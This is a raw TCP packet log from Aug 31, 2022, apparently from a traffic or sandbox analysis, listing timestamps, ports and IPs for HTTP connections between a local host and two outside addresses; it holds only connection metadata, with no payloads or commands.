Aug 31, 2022 14:28:28.170658112 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170677900 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170698881 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170703888 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170710087 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170720100 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170739889 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170759916 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170780897 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170783997 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170789957 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170805931 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170833111 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170880079 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170885086 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.174134970 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.174165010 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.174187899 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.174211979 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.174235106 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.174259901 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.174273968 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.174283028 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.174307108 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.174331903 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.174354076 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.174374104 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.174376965 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.174381018 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.174400091 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.174417019 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.174460888 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.174464941 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.375667095 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375720978 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375739098 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375761986 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375785112 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375807047 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375828981 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375850916 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375874996 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375894070 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375915051 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375921965 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.375938892 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375946999 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.375956059 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375977993 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375991106 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.375998974 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.375998974 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.376020908 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.376044989 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.376060009 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.376066923 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.415741920 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.415790081 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.415812016 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.415812969 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.415833950 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.415857077 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.415867090 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.415880919 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.415901899 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.415925026 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.415937901 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.415941954 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.416161060 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416187048 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416208029 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416244984 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.416249037 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416249990 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.416270018 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416292906 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416304111 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.416315079 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416336060 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416357994 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416373968 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.416379929 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416402102 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416440964 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.416443110 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416467905 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416486979 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.416491985 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416513920 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416536093 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416558027 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416558027 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.416563034 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.416580915 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416601896 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416610956 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.416623116 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416642904 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416665077 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416687012 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416688919 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.416692972 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.416708946 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.416835070 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.417133093 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.417157888 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.417438030 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.420145035 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420176983 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420198917 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420202971 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.420219898 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420238018 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420258045 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420279026 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420285940 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.420290947 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.420321941 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420341015 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420362949 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420371056 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.420375109 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.420383930 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420403957 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420416117 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.420425892 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420448065 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420466900 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.420478106 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.420608044 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615144014 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615185022 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615202904 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615226984 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615251064 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615276098 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615297079 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615319014 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615339041 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615380049 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615385056 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615410089 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615434885 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615436077 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615441084 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615458965 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615483999 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615506887 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615525961 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615530968 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615545988 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615556002 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615580082 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615581036 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615605116 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615628958 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615652084 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615672112 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615680933 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615686893 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615695953 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615721941 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615726948 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615746975 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615770102 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615791082 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615808010 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615808964 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615812063 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615829945 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615850925 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615860939 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615873098 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615894079 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615914106 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615937948 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615937948 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615941048 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.615958929 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.615982056 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.616003036 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.616022110 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.616024971 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.616025925 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.616048098 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.616070032 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.616087914 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.616111994 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.616118908 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.616123915 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.616136074 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.616153002 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.616173029 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.616184950 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.616189003 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.616197109 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.616219997 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.616497993 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.627264023 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.627302885 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.627327919 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.627346039 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.627374887 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.627399921 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.627403975 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.627425909 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.627449989 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.627551079 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.627554893 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.627556086 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.627595901 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.627620935 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.627641916 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.627644062 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.627666950 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.627690077 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.627713919 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.627727985 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.627732038 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.668081999 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.668102026 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.668118954 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.668133974 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.668150902 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.668168068 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.668174982 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.668183088 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.668186903 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.668199062 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.668318987 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.668365002 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.668373108 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849193096 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849236012 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849253893 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849275112 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849298954 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849322081 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849343061 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849364996 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849386930 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849406004 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849427938 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849440098 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849451065 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849457026 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849467039 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849490881 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849493027 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849498987 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849513054 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849538088 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849560976 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849581003 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849581957 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849586964 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849605083 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849627018 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849648952 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849663973 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849669933 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849672079 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849694014 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849714994 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849737883 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849756002 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849760056 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849762917 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849782944 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849803925 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849826097 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849845886 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849848986 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849850893 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849872112 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849895000 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849917889 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849931002 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849937916 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.849940062 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849962950 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.849986076 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.850009918 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.850023031 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.850028992 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.850028992 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.850050926 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.850070953 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.850094080 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.850112915 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.850116014 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.850119114 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.850138903 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.850157976 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.850162029 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.850240946 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.865961075 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.865993977 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.866014957 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.866035938 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.866056919 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.866076946 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.866099119 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.866117954 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.866127968 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.866139889 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.866142035 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.866162062 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.866188049 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.866199017 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.866204977 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.866209030 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.866225958 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.866266966 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.866272926 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.867219925 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:29.115999937 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:31.160686016 CEST	49724	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:31.447050095 CEST	80	49724	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:31.447202921 CEST	49724	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:31.447273016 CEST	49724	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:31.447285891 CEST	49724	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:31.733526945 CEST	80	49724	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:32.290535927 CEST	80	49724	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:32.290559053 CEST	80	49724	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:32.290719032 CEST	49724	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:32.291287899 CEST	49724	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:32.342755079 CEST	49725	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:32.577016115 CEST	80	49724	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:32.627185106 CEST	80	49725	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:32.627279997 CEST	49725	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:32.627449036 CEST	49725	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:32.627475977 CEST	49725	80	192.168.2.4	186.182.55.44
